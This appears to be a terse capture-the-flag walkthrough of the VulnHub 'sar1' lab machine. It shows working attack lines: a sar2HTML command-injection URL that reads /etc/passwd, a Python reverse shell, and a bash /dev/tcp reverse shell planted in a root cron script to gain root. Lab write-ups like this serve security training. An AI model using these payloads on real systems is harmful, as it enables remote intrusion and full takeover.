REVERSE SHELL sar2HTML EXPLOIT

CRONTAB TO ROOT

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Apache2 Ubuntu Default Page: It works

root@kali:/home/kali/Desktop/vulnhub/sar1# gobuster dir -u http://sar1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt

/robots.txt (Status: 200)

/phpinfo.php (Status: 200)

/server-status (Status: 403)

http://sar1/robots.txt

http://sar1/sar2HTML/

root@kali:/home/kali/Desktop/vulnhub/sar1# searchsploit sar2html

http://sar1/sar2HTML/index.php?plot=;%20cat%20/etc/passwd

sar1/sar2HTML/index.php?plot=;%20python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.10.20%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

nc –nlvp 1234

SHELL GAINED!!!!!!!

www-data@sar:/var/www/html/sar2HTML$ cat /etc/crontab

/etc/crontab: system-wide crontab

Unlike any other crontab you don't have to run the `crontab'

command to install the new version when you edit this file

and files in /etc/cron.d. These files also have username fields,

that none of the other crontabs do.

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

m h dom mon dow user command

```
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh
www-data@sar:/var/www/html/sar2HTML$
www-data@sar:/var/www/html/sar2HTML$ cd /var/www/html/
www-data@sar:/var/www/html$ clear


www-data@sar:/var/www/html$ ls
finally.sh  index.html  phpinfo.php  robots.txt  sar2HTML  write.sh
www-data@sar:/var/www/html$ cat write.sh
#!/bin/sh


touch /tmp/gateway
www-data@sar:/var/www/html$ cat write.sh
#!/bin/sh
bash -i >& /dev/tcp/10.10.10.20/9001 0>&1
nc –nlvp 9001
ROOTED!!!!!
```